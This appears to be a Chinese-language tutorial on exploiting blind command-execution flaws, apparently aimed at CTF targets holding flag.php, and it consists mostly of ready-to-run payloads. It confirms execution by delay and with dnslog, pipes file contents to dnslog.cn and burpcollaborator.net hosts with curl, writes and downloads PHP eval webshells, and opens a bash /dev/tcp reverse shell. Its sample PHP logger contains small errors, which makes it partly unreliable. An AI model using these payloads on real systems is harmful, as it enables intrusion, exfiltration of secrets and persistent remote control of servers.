一、命令執行判斷
命令執行可能會存在命令執行完沒有回顯,可以通過三種方式來判斷:延時、HTTP延時、DNS請求。
1、延時
1)通過使用sleep()函數,即是否延時來判斷該命令是否有執行,有延時則代表有執行。類似的函數還有
benchmark(count,expr) 和getlock(str,time)。
2)windows下並沒有sleep命令,可以通過回環ping來達到強制延時的效果。Linux下同樣試用,而且還可以通過ping命令在不同環境下的執行方式來判斷目標的操作系統類型。
ping -n 3 127.0.0.1
ping -n 4 127.0.0.1
2、HTTP請求
3、DNS請求
如果請求的目標不是ip地址而是域名,那么域名最終還要轉化成ip地址,就肯定要做一次域名解析請求。假設有一個可控的二級域名,那么當它發出三級域名解析的時候,就會記錄它的域名解析請求。所以配合DNS請求也可以進行命令執行的判斷,這一般稱為dnslog。(要通過dns請求既可通過ping命令,也能通過curl命令,只要對域名進行訪問,讓域名服務器進行域名解析就可實現。)
繼續舉個栗子:
1)打開dnslog.cn獲得一個域名,訪問777.cf1gbs.dnslog.cn,就會記錄下來這個域名解析請求。

2)簡單測試一下向目標服務器發起http請求,執行下面的命令
ip=|curl `whoami`.cf1gbs.dnslog.cn

查看dnslog。

二、無回顯代碼執行
1、執行命令(需要站點目錄具有寫權限)
通過執行命令,直接將php文件寫入到在瀏覽器可直接讀取的文件類型中(如txt文件),然后訪問txt文件即可得到php文件內容
1)使用 cp 命令直接得到文件內容
cp flag.php 1.txt
2)使用 mv 命令
mv flag.php flag.txt
3)使用 > 或者 >>
cat flag.php > flag.txt
cat flag.php >> flag.txt
4)使用tar
tar cvf flag.tar flag.php # 打包flag.php為flag.tar
tar zcvf flag.tar.gz flag.php # 壓縮flag.php為flag.tar.gz
# 解壓縮:tar zxvf flag.tar.gz
5)使用zip
zip flag.zip flag.php
#解壓縮:unzip flag.zip
2、直接寫入或外部下載webshell
1)直接寫入(需要站點目錄具有寫權限)
echo "<?php @eval(\$_POST[123]); ?>" > webshell.php
2)外部下載(目標服務器可以連接外網或可以與攻擊機互通,且能執行wget命令)
wget 攻擊機ip -O webshell.php
#使用wget下載shell,使用參數-O來指定一個文件名
3、在vps上建立記錄腳本
當目標服務器可以向公網服務器發起http請求,並且能執行curl命令或wget命令
1)在個人公網服務器的根目錄構造一個記錄腳本:7.php 。
#7.php
<?php
header("Content-type:text/html; charest=utf-8");
highlight_file(_FILE_);
include("flag.php");
$ip=$_REQUEST['ip'];
if($ip)
{
shell_exec("ping -c 4".$ip);
}
?>
2)在目標服務器的測試點發送任意一條請求進行測試,將獲得的flag進行base64解碼即可。
curl http://*.*.*.**/7.php?data=`cat flag.php|base64`
wget http://*.*.*.*/7.php?data=`cat flag.php|base64`
4、DNSLOG獲取回顯
1)命令執行時要避免空格,空格會導致空格后面的命令執行不到;
2)將讀取的文件命令用反引號``包含起來;
3)拼接的域名有長度限制。
curl `命令`.域名
舉個例子:
#用<替換讀取文件中的空格,且對輸出結果base64編碼,然后拼接域名
curl `cat<flag.php|base64`.cf1gbs.dnslog.cn
#另一種方法
curl `cat flag.php|sed s/[[:space:]]//`.cf1gbs.dnslog.cn
5、反彈shell
反彈shell,就是攻擊機監聽在某個TCP/UDP端口為服務端,目標機主動發起請求到攻擊機監聽的端口,並將其命令行的輸入輸出轉到攻擊機。
1)個人的公網服務器開啟端口監聽
nc -lvp 777
2)目標服務器執行命令
bash -i >& /dev/tcp/公網機ip/端口號 0>&1
6、curl上傳文件讀取源碼
使用 curl -F 將flag文件上傳到Burp的Collaborator Client。這是一個類似httpslog+dnslog的插件,其功能比dnslog強大,可以不用搭建任何環境去監聽dns和http請求,也可以很方便的查看post請求包和cookie等。

拼接payload並在命令執行處提交即可查看Collaborator Client收到的數據。
ip=|curl -X POST -F xx=@flag.php http://bn2cqaribbwg0qo2ungjlm29i0oqcf.burpcollaborator.net
